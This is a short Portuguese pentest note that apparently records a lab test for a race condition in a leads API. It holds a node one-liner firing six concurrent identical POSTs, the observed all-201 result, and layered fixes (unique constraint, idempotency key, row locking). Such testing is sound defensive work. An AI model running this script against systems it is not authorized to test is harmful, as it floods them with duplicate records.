Race condition (validado ao vivo)
DESTRUTIVO — só em localhost/lab. Nunca em produção. Só em alvo seu ou autorizado por escrito.
Os passos
node -e "
(async()=>{
const body=JSON.stringify({name:'PENTEST RACE - apagar',whatsapp:'11900000009',car_title:'pentest_ex18'});
const rs=await Promise.all(Array.from({length:6},()=>fetch('$BASE/api/leads',{method:'POST',headers:{'Content-Type':'application/json'},body})));
console.log((await Promise.all(rs.map(r=>r.status))).join(', '));})()"
✅ 201,201,201,201,201,201 → 🔴 achado 4. Pós-fix o aceite é 201,409×5.
Fix em camadas: unique constraint → Idempotency-Key → SELECT FOR UPDATE → revalidação.